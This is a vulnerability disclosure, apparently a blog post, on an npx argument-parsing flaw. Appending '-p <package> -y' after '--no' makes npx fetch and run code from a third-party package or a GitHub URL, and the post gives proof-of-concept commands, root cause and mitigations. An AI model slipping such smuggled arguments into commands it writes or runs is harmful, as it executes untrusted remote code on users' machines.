npx: Command Smuggling

2025-06-10

NodeJS's npx command is susceptible to a subtle confusion bug.

Consider this example on https://docs.npmjs.com/cli/v11/commands/npx:

documentation for npx command

Per https://www.alxndrsn.com/2024-08-01-npx-binary-confusion/, we can make the latter command "safer" by adding the --no flag. This should prevent new package installation if there is no tap command available locally:

$ npx --no tap --bail test/foo.js
npm error npx canceled due to missing packages and no YES option: ["tap@21.1.0"]

However, this flag also introduces confusion to the argument parser:

By adding specific flags to the end of the quoted command, npx-cli.js's argument parsing and the expectations of the user can become confused, and unexpected code can be executed:

$ npx --no tap --bail test/foo.js -p naughty-example-package -y
Hello world.

In the above example, we are running code from a 3rd-party node package hosted on github.com, which has a bin script called tap: https://www.npmjs.com/package/naughty-example-package

This command can be modified to run code which is not even hosted on npm.

$ npx --no tap --bail test/foo.js -p https://github.com/alxndrsn/npx-bad-tap -y
I am not tap.

Root Cause Analysis

It seems that while no-install is included in switches, that list is missing both no and no-yes. This means that the CLI arg proceeding these is ignored at https://github.com/npm/cli/blob/4183cba3e13bcfea83fa3ef2b6c5b0c9685f79bc/bin/npx-cli.js#L108-L116 rather than being recognised as a positional arg at https://github.com/npm/cli/blob/4183cba3e13bcfea83fa3ef2b6c5b0c9685f79bc/bin/npx-cli.js#L119.

Suggested Mitigation

  1. a simple approach would be to add --no and --no-yes to switches (https://github.com/npm/cli/blob/4183cba3e13bcfea83fa3ef2b6c5b0c9685f79bc/bin/npx-cli.js#L34-L44).
  2. a more robust approach would be to invert the switches list to an explicit list of CLI opts which take an extra argument.

Impact

An attacker can trick a user into installing and running arbitrary code on their machine.

Environment

$ npx --version
11.4.2